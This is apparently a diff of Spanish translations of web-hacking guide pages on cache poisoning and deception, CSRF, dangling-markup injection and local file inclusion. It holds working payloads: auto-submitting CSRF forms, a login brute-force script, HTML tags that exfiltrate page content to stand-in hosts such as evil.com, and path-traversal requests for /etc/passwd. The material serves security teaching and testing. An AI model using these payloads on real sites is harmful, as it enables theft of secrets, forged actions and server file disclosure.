There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Ocultación de Parámetros
|
||||
|
||||
Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros no clave dentro de los parámetros clave y abusar de ellos.
|
||||
|
||||
Laboratorio de Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Explotación de la Poisoning de Caché HTTP abusando del HTTP Request Smuggling
|
||||
|
||||
Aprende aquí cómo realizar [ataques de Cache Poisoning abusando del HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Aprende aquí cómo realizar [ataques de Cache Poisoning abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Pruebas automatizadas para Cache Poisoning
|
||||
### Pruebas Automatizadas para Cache Poisoning
|
||||
|
||||
El [Escáner de Vulnerabilidades de Caché Web](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
|
||||
El [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) se puede usar para probar automáticamente la poisoning de caché web. Soporta muchas técnicas diferentes y es altamente personalizable.
|
||||
|
||||
Uso de ejemplo: `wcvs -u example.com`
|
||||
Ejemplo de uso: `wcvs -u example.com`
|
||||
|
||||
## Ejemplos Vulnerables
|
||||
|
||||
@ -164,11 +164,11 @@ Enviar un valor incorrecto en el encabezado content-type activó una respuesta 4
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab utiliza buckets de GCP para almacenar contenido estático. **Los Buckets de GCP** soportan el **encabezado `x-http-method-override`**. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`.
|
||||
GitLab utiliza buckets de GCP para almacenar contenido estático. **GCP Buckets** soporta el **encabezado `x-http-method-override`**. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría soportar el método `PURGE`.
|
||||
|
||||
### Middleware Rack (Ruby on Rails)
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
En aplicaciones Ruby on Rails, a menudo se utiliza middleware Rack. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
|
||||
En aplicaciones Ruby on Rails, a menudo se utiliza Rack middleware. El propósito del código Rack es tomar el valor del encabezado **`x-forwarded-scheme`** y establecerlo como el esquema de la solicitud. Cuando se envía el encabezado `x-forwarded-scheme: http`, ocurre una redirección 301 a la misma ubicación, lo que puede causar una Denegación de Servicio (DoS) a ese recurso. Además, la aplicación podría reconocer el encabezado `X-forwarded-host` y redirigir a los usuarios al host especificado. Este comportamiento puede llevar a la carga de archivos JavaScript desde el servidor de un atacante, lo que representa un riesgo de seguridad.
|
||||
|
||||
### 403 y Buckets de Almacenamiento
|
||||
|
||||
@ -176,7 +176,7 @@ Cloudflare anteriormente almacenaba en caché respuestas 403. Intentar acceder a
|
||||
|
||||
### Inyección de Parámetros Clave
|
||||
|
||||
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría usando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. La codificación en URL del segundo parámetro `size` llevó a su omisión por parte de la caché, pero su utilización por parte del backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que se podía almacenar en caché.
|
||||
Las cachés a menudo incluyen parámetros GET específicos en la clave de caché. Por ejemplo, el Varnish de Fastly almacenaba en caché el parámetro `size` en las solicitudes. Sin embargo, si se enviaba una versión codificada en URL del parámetro (por ejemplo, `siz%65`) con un valor erróneo, la clave de caché se construiría usando el parámetro `size` correcto. Sin embargo, el backend procesaría el valor en el parámetro codificado en URL. Codificar en URL el segundo parámetro `size` llevó a su omisión por la caché, pero su utilización por el backend. Asignar un valor de 0 a este parámetro resultó en un error 400 Bad Request que era almacenable en caché.
|
||||
|
||||
### Reglas de User Agent
|
||||
|
||||
@ -184,7 +184,7 @@ Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con l
|
||||
|
||||
### Campos de Encabezado Ilegales
|
||||
|
||||
El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres inválidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché.
|
||||
El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres inválidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que era almacenable en caché.
|
||||
|
||||
### Encontrando nuevos encabezados
|
||||
|
||||
@ -192,9 +192,9 @@ El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los carac
|
||||
|
||||
## Decepción de Caché
|
||||
|
||||
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que se van a guardar en la caché con su información sensible**.
|
||||
El objetivo de la Decepción de Caché es hacer que los clientes **carguen recursos que van a ser guardados por la caché con su información sensible**.
|
||||
|
||||
Primero, ten en cuenta que las **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
|
||||
Primero que nada, ten en cuenta que **extensiones** como `.css`, `.js`, `.png`, etc., suelen estar **configuradas** para ser **guardadas** en la **caché.** Por lo tanto, si accedes a `www.example.com/profile.php/nonexistent.js`, la caché probablemente almacenará la respuesta porque ve la **extensión** `.js`. Pero, si la **aplicación** está **reproduciendo** con los contenidos **sensibles** del usuario almacenados en _www.example.com/profile.php_, puedes **robar** esos contenidos de otros usuarios.
|
||||
|
||||
Otras cosas para probar:
|
||||
|
||||
@ -211,11 +211,11 @@ Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-exis
|
||||
|
||||
Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_).
|
||||
|
||||
Aprende aquí cómo realizar [ataques de Decepción de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Aprende aquí cómo realizar [ataques de Decepción de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Herramientas Automáticas
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner de Golang para encontrar vulnerabilidades de poisoning de caché web en una lista de URLs y probar múltiples técnicas de inyección.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): escáner de Golang para encontrar vulnerabilidades de poisoning de caché web en una lista de URLs y probar múltiples técnicas de inyección.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
|
||||
|
||||
1. **Identificar una acción valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
|
||||
2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
|
||||
2. **Gestión de sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de autenticación básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
|
||||
3. **Ausencia de parámetros impredecibles**: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque.
|
||||
|
||||
### Verificación rápida
|
||||
@ -24,7 +24,7 @@ Puedes **capturar la solicitud en Burp** y verificar las protecciones CSRF y par
|
||||
|
||||
Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:
|
||||
|
||||
- [**Cookies SameSite**](hacking-with-cookies/#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes de otros sitios. [Más sobre cookies SameSite](hacking-with-cookies/#samesite).
|
||||
- [**Cookies SameSite**](hacking-with-cookies/index.html#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes de sitios cruzados. [Más sobre cookies SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- [**Intercambio de recursos de origen cruzado**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre el bypass de CORS](cors-bypass.md).
|
||||
- **Verificación del usuario**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
|
||||
- **Verificación de encabezados Referer u Origin**: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
|
||||
@ -39,7 +39,7 @@ Entender e implementar estas defensas es crucial para mantener la seguridad e in
|
||||
|
||||
### De POST a GET
|
||||
|
||||
Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** debes **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF sigue siendo validado**.
|
||||
Quizás el formulario que deseas abusar está preparado para enviar una **solicitud POST con un token CSRF, pero** deberías **verificar** si un **GET** también es **válido** y si cuando envías una solicitud GET el **token CSRF todavía se está validando**.
|
||||
|
||||
### Falta de token
|
||||
|
||||
@ -76,7 +76,7 @@ Si la solicitud está agregando un **encabezado personalizado** con un **token**
|
||||
|
||||
### El token CSRF es verificado por una cookie
|
||||
|
||||
Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o estableciendo una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud se alinea con el valor en la cookie.
|
||||
Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o configurando una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud se alinea con el valor en la cookie.
|
||||
|
||||
Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallas que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie, seguida de iniciar el ataque CSRF.
|
||||
|
||||
@ -103,7 +103,7 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Tenga en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitará establecer la sesión de la víctima, y por lo tanto, se estará atacando a sí mismo.
|
||||
> Tenga en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitará establecer la sesión del víctima, y por lo tanto, se estará atacando a sí mismo.
|
||||
|
||||
### Cambio de Content-Type
|
||||
|
||||
@ -140,7 +140,7 @@ Al intentar enviar datos JSON a través de una solicitud POST, usar `Content-Typ
|
||||
|
||||
1. **Usar Tipos de Contenido Alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos sin importar el Content-Type.
|
||||
2. **Modificar el Tipo de Contenido**: Para evitar una solicitud preliminar mientras se asegura que el servidor reconozca el contenido como JSON, se puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud preliminar, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
|
||||
3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulta [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
3. **Utilización de Archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulta [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Bypass de verificación de Referer / Origen
|
||||
|
||||
@ -158,7 +158,7 @@ Esto asegura que el encabezado 'Referer' se omita, lo que puede eludir las verif
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Para establecer el nombre de dominio del servidor en la URL que el Referer va a enviar dentro de los parámetros, puedes hacer:
|
||||
Para establecer el nombre de dominio del servidor en la URL que el Referente va a enviar dentro de los parámetros, puedes hacer:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -187,9 +187,9 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Método HEAD bypass**
|
||||
### **Bypass del método HEAD**
|
||||
|
||||
La primera parte de [**este CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de respuesta**.
|
||||
La primera parte de [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar las solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta**.
|
||||
|
||||
Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**.
|
||||
|
||||
@ -197,7 +197,7 @@ Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente *
|
||||
|
||||
### **Exfiltrando el token CSRF**
|
||||
|
||||
Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o de una vulnerabilidad de [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
|
||||
Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) o de una vulnerabilidad de [**Markup Colgante**](dangling-markup-html-scriptless-injection/).
|
||||
|
||||
### **GET usando etiquetas HTML**
|
||||
```xml
|
||||
@ -280,7 +280,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Solicitud POST de formulario a través de iframe
|
||||
### Enviar solicitud POST a través de iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -588,7 +588,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
El código se puede usar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también está utilizando el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
|
||||
El código se puede usar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
||||
@ -4,26 +4,26 @@
|
||||
|
||||
## Resumen
|
||||
|
||||
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS**](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
|
||||
También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si deseas desviar la ejecución de algún script.
|
||||
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no encuentras ninguna forma de explotar un** [**XSS** ](../xss-cross-site-scripting/) pero puedes **inyectar algunas etiquetas HTML**.\
|
||||
También es útil si algún **secreto está guardado en texto claro** en el HTML y deseas **exfiltrarlo** del cliente, o si quieres desviar la ejecución de algún script.
|
||||
|
||||
Varias técnicas comentadas aquí se pueden usar para eludir algunas [**Content Security Policy**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
|
||||
Varias técnicas comentadas aquí se pueden usar para eludir alguna [**Política de Seguridad de Contenidos**](../content-security-policy-csp-bypass/) al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
|
||||
|
||||
## Aplicaciones Principales
|
||||
|
||||
### Robando secretos en texto claro
|
||||
|
||||
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, observa cuál podría ser más interesante de usar).
|
||||
Si inyectas `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, echa un vistazo a cuál podría ser más interesante usar).
|
||||
|
||||
Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo), también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo) también puedes usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||||
```html
|
||||
<img src='http://attacker.com/log.php?HTML=
|
||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||||
```
|
||||
Ten en cuenta que **Chrome bloquea las URL HTTP** con "<" o "\n" en ellas, así que podrías intentar otros esquemas de protocolo como "ftp".
|
||||
Tenga en cuenta que **Chrome bloquea las URL HTTP** con "<" o "\n" en ellas, por lo que podría intentar otros esquemas de protocolo como "ftp".
|
||||
|
||||
También puedes abusar de CSS `@import` (enviará todo el código hasta que encuentre un ";")
|
||||
También puede abusar de CSS `@import` (enviará todo el código hasta que encuentre un ";")
|
||||
```html
|
||||
<style>@import//hackvertor.co.uk? <--- Injected
|
||||
<b>steal me!</b>;
|
||||
@ -41,13 +41,13 @@ steal me'<b>test</b>
|
||||
```html
|
||||
<base href="http://evil.com/" />
|
||||
```
|
||||
Entonces, los formularios que envían datos a la ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
|
||||
Luego, los formularios que envían datos a la ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
|
||||
|
||||
### Robo de formularios 2
|
||||
### Stealing forms 2
|
||||
|
||||
Establece un encabezado de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
|
||||
Establecer un encabezado de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
|
||||
|
||||
### Robo de formularios 3
|
||||
### Stealing forms 3
|
||||
|
||||
El botón puede cambiar la URL a la que se enviará la información del formulario con el atributo "formaction":
|
||||
```html
|
||||
@ -65,7 +65,7 @@ Usando la técnica mencionada más reciente para robar formularios (inyectando u
|
||||
```html
|
||||
<input type='hidden' name='review_body' value="
|
||||
```
|
||||
y este campo de entrada contendrá todo el contenido entre sus comillas dobles y la siguiente comilla doble en el HTML. Este ataque mezcla el "_**Robando secretos en texto claro**_" con "_**Robando forms2**_".
|
||||
y este campo de entrada contendrá todo el contenido entre sus comillas dobles y la siguiente comilla doble en el HTML. Este ataque mezcla el "_**Stealing clear text secrets**_" con "_**Stealing forms2**_".
|
||||
|
||||
Puedes hacer lo mismo inyectando un formulario y una etiqueta `<option>`. Todos los datos hasta que se encuentre un `</option>` cerrado serán enviados:
|
||||
```html
|
||||
@ -90,7 +90,7 @@ Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se re
|
||||
|
||||
`<noscript></noscript>` Es una etiqueta cuyo contenido será interpretado si el navegador no soporta javascript (puedes habilitar/deshabilitar Javascript en Chrome en [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||||
|
||||
Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final a un sitio controlado por el atacante será inyectar esto:
|
||||
Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final a un sitio controlado por un atacante será inyectar esto:
|
||||
```html
|
||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||
```
|
||||
@ -109,7 +109,7 @@ if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
### Flujo de trabajo engañoso 1 - Ataque de espacio de nombres HTML
|
||||
### Flujo de script engañoso 1 - Ataque de espacio de nombres HTML
|
||||
|
||||
Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se va a compartir una información:
|
||||
```html
|
||||
@ -122,7 +122,7 @@ document.getElementById('share_with').value; ... }
|
||||
```
|
||||
### Flujo de script engañoso 2 - Ataque de espacio de nombres de script
|
||||
|
||||
Crea variables dentro del espacio de nombres de javascript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:
|
||||
Cree variables dentro del espacio de nombres de javascript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:
|
||||
```html
|
||||
<img id="is_public" /> ← Injected markup ... // Legitimate application code
|
||||
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
|
||||
@ -191,33 +191,33 @@ En el momento de escribir esto, necesitas habilitar la etiqueta portal en Chrome
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
### Fugas de HTML
|
||||
### HTML Leaks
|
||||
|
||||
No todas las formas de filtrar conectividad en HTML serán útiles para Dangling Markup, pero a veces podrían ayudar. Revísalas aquí: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
No todas las formas de filtrar conectividad en HTML serán útiles para Dangling Markup, pero a veces podrían ayudar. Revísalos aquí: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## SS-Fugas
|
||||
## SS-Leaks
|
||||
|
||||
Esto es una **mezcla** entre **dangling markup y XS-Fugas**. Por un lado, la vulnerabilidad permite **inyectar HTML** (pero no JS) en una página de la **misma origen** de la que estaremos atacando. Por otro lado, no **atacaremos** directamente la página donde podemos inyectar HTML, sino **otra página**.
|
||||
Esto es una **mezcla** entre **dangling markup y XS-Leaks**. Por un lado, la vulnerabilidad permite **inyectar HTML** (pero no JS) en una página de la **misma origen** de la que estaremos atacando. Por otro lado, no **atacaremos** directamente la página donde podemos inyectar HTML, sino **otra página**.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
{{#endref}}
|
||||
|
||||
## XS-Búsqueda/XS-Fugas
|
||||
## XS-Search/XS-Leaks
|
||||
|
||||
XS-Búsqueda está orientada a **exfiltrar información de origen cruzado** abusando de **ataques de canal lateral**. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como [**Inyección de CSS**](../xs-search/#css-injection) o [**Carga Perezosa de Imágenes**](../xs-search/#image-lazy-loading)**.**
|
||||
XS-Search está orientado a **exfiltrar información de origen cruzado** abusando de **ataques de canal lateral**. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como [**CSS Injection**](../xs-search/index.html#css-injection) o [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
|
||||
|
||||
{{#ref}}
|
||||
../xs-search/
|
||||
{{#endref}}
|
||||
|
||||
## Lista de Detección de Fuerza Bruta
|
||||
## Brute-Force Detection List
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
||||
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
||||
|
||||
@ -13,7 +13,7 @@ Funciones **PHP vulnerables**: require, require_once, include, include_once
|
||||
|
||||
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Ciegas - Interesantes - Archivos LFI2RCE
|
||||
## Archivos LFI2RCE - Interesantes - Ciegos
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
@ -47,9 +47,9 @@ Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para
|
||||
|
||||
Revisa la lista de LFI de linux.
|
||||
|
||||
## LFI básico y bypasses
|
||||
## Basic LFI and bypasses
|
||||
|
||||
Todos los ejemplos son para Inclusión de Archivos Local, pero también podrían aplicarse a Inclusión de Archivos Remota (página=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -59,7 +59,7 @@ http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Byte nulo (%00)**
|
||||
### **Null byte (%00)**
|
||||
|
||||
Saltar la adición de más caracteres al final de la cadena proporcionada (bypass de: $\_GET\['param']."php")
|
||||
```
|
||||
@ -76,7 +76,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Desde la carpeta existente
|
||||
### Desde una carpeta existente
|
||||
|
||||
Quizás el back-end esté verificando la ruta de la carpeta:
|
||||
```python
|
||||
@ -86,11 +86,11 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
|
||||
El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
|
